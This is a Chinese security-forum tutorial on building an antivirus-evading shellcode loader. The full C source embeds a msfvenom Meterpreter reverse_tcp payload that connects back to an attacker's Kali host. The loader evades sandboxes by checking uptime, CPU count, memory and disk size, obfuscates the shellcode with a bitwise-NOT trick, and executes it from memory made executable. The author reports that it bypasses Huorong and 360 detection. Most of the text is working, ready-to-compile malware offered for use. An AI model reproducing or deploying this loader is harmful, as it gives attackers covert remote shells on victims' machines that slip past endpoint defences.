问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
从0编写一个免杀加载器
渗透测试
通过混淆shellcode和反沙箱绕过火绒上线metasploit。
0x00 导读 ======= 通过反沙箱与混淆shellcode绕过火绒上线metasploit。 环境: kali:攻击者 win10:受害者 编译器:Virtual Studio 2022 杀软:火绒5.0.67.2 0x01 基础知识 ========= 沙箱是啥 ---- 百度对沙箱的介绍:[沙箱(网络编程虚拟执行环境)\_百度百科 (baidu.com)](https://baike.baidu.com/item/%E6%B2%99%E7%AE%B1/393318) 我对沙箱的理解:它是一个虚拟的系统,我们写的程序可以在这个系统里运行,它存在的作用是来帮助我们判断是不是可疑程序,因为不管你是什么东西跑起来看它干了什么事就知道了嘛。 0x02 生成shellcode ================ `msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.225.130 lport=6666 -f c` 还是用`msfvenom`工具生成shellcode,-p参数是回连的载荷这里是32位的因为兼容性好一些,lhost是shellcode执行后回连的ip,这里是kali的ip,lport是要回连到哪一个端口上,-f参数是生成木马的类型。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-feb3536f41371cf4a1446797fec8e90017fe0bd7.png) 0x03 代码解释与反沙箱思路 =============== 上面说过沙箱是一个虚拟的系统环境,只是用来检测恶意程序的,并不会考虑到用户正常的需求比如打游戏这些,所以沙箱的配置不会像我们的真实系统那么高,这样的话,我们可以通过判断,当前环境的硬盘大小,处理器的个数,系统的运行内存来确定当前程序是不是在沙箱中运行的,也可通过检测鼠标键盘等硬件设备来判断。 现在思路已经讲过了下面我们来看具体的代码流程和代码的实现。 代码流程:`通过调用Windows Api来判断当前环境是不是沙箱->如果不是就对shellcode进行取反->然后再对取反的结果再取反还原我们的shellcode->载入内存->修改内存块权限并执行这块内存` 下面是完整的代码。 ```js #include <stdio.h> #include <Windows.h> int main() { DWORD StartTime = GetTickCount(); if (StartTime > 60000) { SYSTEM_INFO systeminfo = { 0 }; GetSystemInfo(&systeminfo); DWORD CpuCount = systeminfo.dwNumberOfProcessors; if (CpuCount >= 4) { _MEMORYSTATUSEX Memory = { 0 }; Memory.dwLength = sizeof(Memory); GlobalMemoryStatusEx(&Memory); DWORD MemorySize = Memory.ullAvailPhys; if (MemorySize >= 66339072) { TCHAR DiskName[512] = { 0 }; GetLogicalDriveStrings(sizeof(DiskName), DiskName); DWORD DiskBytes = 0, DiskSpace = 0, DiskSpace2 = 0; GetDiskFreeSpaceEx(DiskName, (PULARGE_INTEGER)&DiskBytes, (PULARGE_INTEGER)&DiskSpace, (PULARGE_INTEGER)&DiskSpace2); if (DiskBytes >= 97785600) { if (malloc(10485760)) { char buf[] = "\xff\xee\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"//ff=fc,ee=e8 "\x0c\x8b\x52\x14\x89\xe5\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49" "\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x57\x8b\x40\x78" "\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3" "\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xc1" "\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24" "\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c" "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59" "\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d" "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26" "\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" "\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xe1\x82\x68\x02" "\x00\x1a\x0a\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00" "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83" "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a" "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57" "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00" "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68" "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff" "\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb" "\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; char buf2[sizeof(buf)] = { 0 }; char buf3[sizeof(buf)] = { 0 }; for (int s = 0; s < sizeof(buf); s++) { buf2[s] = ~buf[s]; } for (int s = 0; s < sizeof(buf); s++) { buf3[s] = ~buf2[s]; } buf3[0] = 0xfc; buf3[1] = 0xe8; char* exec = (char*)malloc(sizeof(buf)); CopyMemory(exec, buf3, sizeof(buf)); DWORD a = 0; VirtualProtect(exec, sizeof(buf), PAGE_EXECUTE_READWRITE, &a); ((char(*)())exec)(); } } } } } } ``` ### 判断系统运行时间 因为沙箱不会一直在运行,只是在我们使用它的时候才会开启这个环境,所以我们可以通过判断系统的运行时间来判断是不是沙箱。 `DWORD StartTime = GetTickCount();` 代码解释:定义一个变量用于接收`GetTickCount()`函数的返回值,这个函数功能是获取从系统启动到现在的时间,单位是毫秒, `if (StartTime > 60000)`判断系统启动时间大不大与这个值,如果条件为真就执行`if`语句下的代码。 ### 判断处理器数量 `SYSTEM_INFO systeminfo = { 0 };`这里定义一个`SYSTEM_INFO`类型的结构体,用来存储系统相关信息比如处理器的类型,处理器数量,页面的大小等信息。 `GetSystemInfo(&systeminfo);`这个函数功能是获取系统信息,参数是上面定义的结构体的地址,也就是说通过这个函数获取到的信息,保存到上面这个结构体里。 `DWORD CpuCount = systeminfo.dwNumberOfProcessors;`定义一个变量用来接收`dwNumberOfProcessors`成员的值,这个成员存放的是处理器的数量。 `if (CpuCount >= 4)`这里通过判断处理器数量大于或等于4如果符合条件就执行下面代码,为什么要判断处理器的数量上面已经说过了,只是用于判断是不是在沙箱里。 ### 判断系统内存大小 `_MEMORYSTATUSEX Memory = { 0 };`还是定义一个结构体,`_MEMORYSTATUSEX`类型,用于存储物理内存与虚拟内存相关信息。 `Memory.dwLength = sizeof(Memory);`给结构体成员`dwLength`复制这个成员代表这个结构体的大小,单位是字节。 `GlobalMemoryStatusEx(&Memory);`这个函数用于获取系统的内存信息,参数是一个指针指向上面定义的结构体即可,就是通过这个函数获取到的信息,放到`_MEMORYSTATUSEX`类型的结构体里。 `DWORD MemorySize = Memory.ullAvailPhys;`定义一个变量用来接收`ullAvailPhys`成员的值这个成员代表可用物理内存的大小,单位是字节。 `if (MemorySize >= 66339072)`判断物理内存的大小大于或等于这个值(这里只是随便写的一个值,可以根据情况做修改),如果符合条件就执行下面的代码。 ### 判断磁盘大小 `TCHAR DiskName[512] = { 0 };`定义一个`TCHAR`类型的数组用于存储驱动器根路径。 `GetLogicalDriveStrings(sizeof(DiskName), DiskName);`函数功能,用于获取驱动器,并返回驱动器根路径,第一个参数是缓冲区大小,第二个参数是指向缓冲区的指针。 `DWORD DiskBytes = 0, DiskSpace = 0, DiskSpace2 = 0;`定义三个`DWORD`类型的变量用于存储磁盘相关信息。 ```php GetDiskFreeSpaceEx(DiskName,(PULARGE_INTEGER)&DiskBytes, (PULARGE_INTEGER)&DiskSpace, (PULARGE_INTEGER)&DiskSpace2); ``` 这个函数用于获取磁盘容量相关信息,第一个参数是磁盘目录,也就是上面说的驱动器根路径,第二个参数是该磁盘可用字节数,第三个参数是磁盘一共有多大,第四个参数是磁盘上空闲的空间大小,还是以字节为单位。 `if (DiskBytes >= 97785600)`判断磁盘可用空间大于或等于这个值,如果条件成立就执行下面的代码。 `if (malloc(10485760))`分配一块内存,如果内存分配失败则会返回`NULL`分配成功则返回一个地址。 至此已经把反沙箱的代码解释完了,可能有些简陋,如果又更好的思路欢迎评论,下面来看对`shellcode`做取反的代码。 取反运算解释 ------ 取反运算符:`~`也就是`tab`键上面那个键。 取反是逻辑运算的一种,就是把1变成0,0变成1, ```js char buf[] = "\xff\xee\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"//ff=fc,ee=e8 "\x0c\x8b\x52\x14\x89\xe5\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49" "\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x57\x8b\x40\x78" "\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3" "\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xc1" "\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24" "\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c" "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59" "\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d" "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26" "\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" "\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xe1\x82\x68\x02" "\x00\x1a\x0a\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00" "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83" "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a" "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57" "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00" "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68" "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff" "\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb" "\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; ``` 上面是我们生成的shellcode。 ```php char buf2[sizeof(buf)] = { 0 }; char buf3[sizeof(buf)] = { 0 }; ``` 这里定义两个数组,并全部初始化为0,一个用于存储取反后的shellcode,一个用于存储还原的shellcode。 ```c for (int s = 0; s < sizeof(buf); s++) { buf2[s] = ~buf[s]; } ``` 这行代码大致意思是,循环数组中的shellcode,并一个一个的对它们进行取反操作,并将取反的结果存放至`buf2`的数组,循环条件是数组的大小。 ```php for (int s = 0; s < sizeof(buf); s++) { buf3[s] = ~buf2[s]; } ``` 这行代码功能是还原我们取反后的shellcode,还是循环遍历数组中的shellcode,然后依次做取反操作。 ```js buf3[0] = 0xfc; buf3[1] = 0xe8; ``` 注意因为还原后的shellcode有一些字符被我们改过了,所以这里需要再改过来,也就是把`ff`改成`fc`和`ee`修改为`e8`。 ### 加载shellcode到内存 后面这些就落入俗套了,就是申请块内存然后修改内存的属性为可执行,然后函数指针执行。 `char* exec = (char*)malloc(sizeof(buf));` 定义一个char\*类型的指针来指向`malloc`函数申请的内存,`malloc`函数是申请一块内存,只有一个参数,就是申请内存大小,这里用`sizeof(buf)`来计算shellcode的大小。 `CopyMemory(exec, buf3, sizeof(buf));`这个函数功能是,把shellcode复制到内存里,功能和`memcpy`函数一样,第一个参数是拷贝到哪里,第二个参数是从哪里拷贝数据(数据来源),第三个参数是拷贝多少字节。 ```js DWORD a = 0; VirtualProtect(exec, sizeof(buf), PAGE_EXECUTE_READWRITE, &a); ``` `DWORD a=0`用于定义一个变量,用于存放内存的原始属性,供`VirtualProtect`函数使用。 `VirtualProtect`函数是修改内存块的属性,第一个参数是从哪里修改,第二个是修改大的内存,第三个参数是要修改成什么属性`PAGE_EXECUTE_READWRITE`是可读可写可执行,最后一个参数,内存原始的属性保存的地址,也就是上面定义的变量地址。 `((char(*)())exec)();`定义了一个函数指针,来执行这块内存,函数指针其实就是一个指向函数的指针,可以通过这个指针来调用我们的函数,也可以使用内联汇编来调用这块内存。 ```js __asm { call exec; } ``` call其实就是执行这个函数,关于这个指令就不多说了。 0x04 结果 ======= ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-e178807230bbffe4904a5ed5f858eb100b1415d2.png) 360 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-99fff453aab6967a24ec3f7f58de14b0158984fc.png) 0x05 总结 ======= ### 过程分析 这里来测试一下,看是哪一部分代码绕过了杀软的沙箱,我们先注释掉反沙箱的代码生成一下子,可以看到直接被火绒查出来了,这里对shellcode进行了取反操作。但还是被查杀了。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-99353a3f2a8962a45de0d1b3f34786e2a65db336.png) 我们继续尝试,只判断系统运行时间看会不会被杀,可以看到依然被杀了,继续尝试判断处理器的数量,看会不会查杀,这次判断了处理器的数量就没有被杀也可以上线(这里判断处理器数量是4,现在电脑处理器数量基本上都是4或以上的吧)。 **判断处理器数量之后就不会被杀** ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-8a0757b6780f9bee2bda0d742ec109e0b58daa40.png) 我们把判断处理器数量的条件改成判断一个或以上的处理器,哎嘿就被杀了,这里就可以印证上面说的沙箱配置会比真实的系统差一些。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-af656588fb6a473a2a961abae305d9393720443b.png) 到了这里本文就快结束了,讲的内容主要是通过反沙箱与混淆来绕过火绒的查杀(主要讲了混淆),由于作者水平有限,文章内容如有错误欢迎指出。
发表于 2022-04-24 09:32:34
阅读 ( 6014 )
分类:
渗透测试
2 推荐
收藏
0 条评论
请先
登录
后评论
ring3
7 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!